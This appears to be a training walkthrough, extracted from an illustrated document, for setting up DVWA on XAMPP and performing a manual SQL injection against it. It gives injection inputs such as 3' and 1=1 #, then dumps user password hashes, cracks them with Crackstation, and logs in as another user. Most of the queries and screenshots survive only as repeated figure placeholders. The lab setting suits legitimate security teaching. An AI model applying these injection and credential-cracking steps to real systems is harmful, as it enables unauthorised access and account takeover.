Before moving towards actual working process, let’s prepare our setup and maintain working
environment.
XAMPP.
Windows Virtual Machine.
DVWA
To set up DVWA (Damn Vulnerable Web Application) using XAMPP, follow these steps:
Figure: 02
Click Next.
Figure: 03
Select the components you want to install and click “Next”. Ensure that you must select components like
Apache and MySQL (Default Recommended).
Figure: 01
Figure: 01
Installing...
Figure: 01
Allow Apache HTTP server access to all public and private networks.
Figure: 01
Finally, XAMPP setup is completely installed. Click Finish to complete the process.
Figure: 01
Figure: 01
What is DVWA?
Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn
vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a
legal environment, help web developers better understand the processes of securing web
applications and to aid both students & teachers to learn about web application security in a
controlled class room environment.
dvwa download
Figure: 01
Inside the code option click on “Download ZIP”. It will download the ZIP folder in your default storage.
Figure: 01
Go to downloads or your default storage and check for DVWA ZIP folder named “DVWA-master”. Copy
this folder.
Figure: 01
Now open file explorer and search for your XAMPP folder (either in C-Drive or the folder where you have
stored it).
Figure: 01
Figure: 01
Open DVWA-master.
Path: C:\xampp\htdocs\DVWA
Figure: 01
Extract all the files from the ZIP folder into a new folder and name it. (For Example: DVWA)
Figure: 01
Path: C:\xampp\htdocs\DVWA\config.
Figure: 01
Figure: 01
$_DVWA = array();
After updation the config file should look like described in the figure below.
Figure: 01
Create the DVWA Database. For this use the Admin option to the right of start/stop option.
Figure: 01
Figure: 01
Figure: 01
Localhost/dvwa/login.php
Figure: 01
Figure: 01
The site is confirmed to be up and working, but we will go a little further to make sure of this now.
Username = admin
Password =password
If the browser presents the reminder for password information, you can click Remember.
Figure: 01
Enter the username and password and this will get you into DVWA database.
Figure: 01
If you now scroll to the bottom of this page, you will see the following details:
On the DVWA homepage, click on the "Create / Reset Database" button to initialize the database.
Figure: 01
Navigate to “DVWA Security” in the left side bar to change the security level from impossible to low
level. (Adjust the security level from the DVWA Security settings to practice with different
vulnerabilities).
Figure: 01
In DVWA Security, scroll down and change the security level to low and click submit.
Figure: 01
This will show you a message of security level changed and set to low.
Figure: 01
Figure: 01
SQL injections are used to inject code into applications which then pull out data which typically
shouldn’t be displayed. For example, the technic can be used to find personal information of people
which might be hidden from normal view presenting details like username and passwords.
We are now going to perform a manual SQL Injection attack on the DVWA page to obtain information
about the database and the information that it contains regarding the column headings, to work out
where the user information is sitting.
Now again in the left bar click on the Tab for SQL Injection.
Figure: 01
In the SQL Injection, you’ll be presented with a field to enter a User ID. Let’s try this out with basic
credentials. Type in the following and click Submit.
User ID: 2
Figure: 01
Figure: 01
Figure: 01
Figure: 01
Now move onto more advanced SQL terms now to work out the columns.
3’
Figure: 01
We get this error message which is a positive sign and strongly indicates this website is vulnerable to
SQL Injection.
Figure: 01
3’ and 1=1 #
Figure: 01
Figure: 01
Figure: 01
Figure: 01
Figure: 01
We are now presented with column headings through the table of the database. We can see that there
are a lot of different headings within this database. Take a moment to scan through the different listings
and you will see that there are columns for user privileges and a variety of statistical information which
are held in the database.
Type into the User ID Field:
Figure: 01
This command will brought up information about the account columns by calling on the schema which
contains those details.
Figure: 01
We see that we have accessed information about the guestbook, users and accounts fields. Type into
the User ID Field:
Figure: 01
Here we have picked out the column for only the users. We will now work on that column specifically.
Figure: 01
Here we are beginning to produce really interesting results showing the Information about users, first
names and last names. We can also see that they use an avatar and there is a field for the number of
failed logins together with the list of connections to the system.
We now have the information of the first name and the password hash values. Now we must carefully
record this information into any text editor.
Copy and paste the details directly from the DVWA page.
Figure: 01
With the information malicious actors gain using password cracking, they can undertake a range
of criminal activities. Those include stealing banking credentials or using the information for
identity theft and fraud.
Figure: 01
Use Crackstation:
Result:
Password: password
Figure: 01
admin : password
Gordon : abc123
Pablo : letmein
Hack : charley
Now just to verify logout of the DVWA site to come back to the original login page. Do this by clicking on
Logout in the left hand column.
Username: Pablo
Password: letmein
Figure: 01
Figure: 01
Scroll down the page and you will see you have logged into Pablo’s account.
Figure: 01
Figure: 01
You’ll get:
Surname: Smith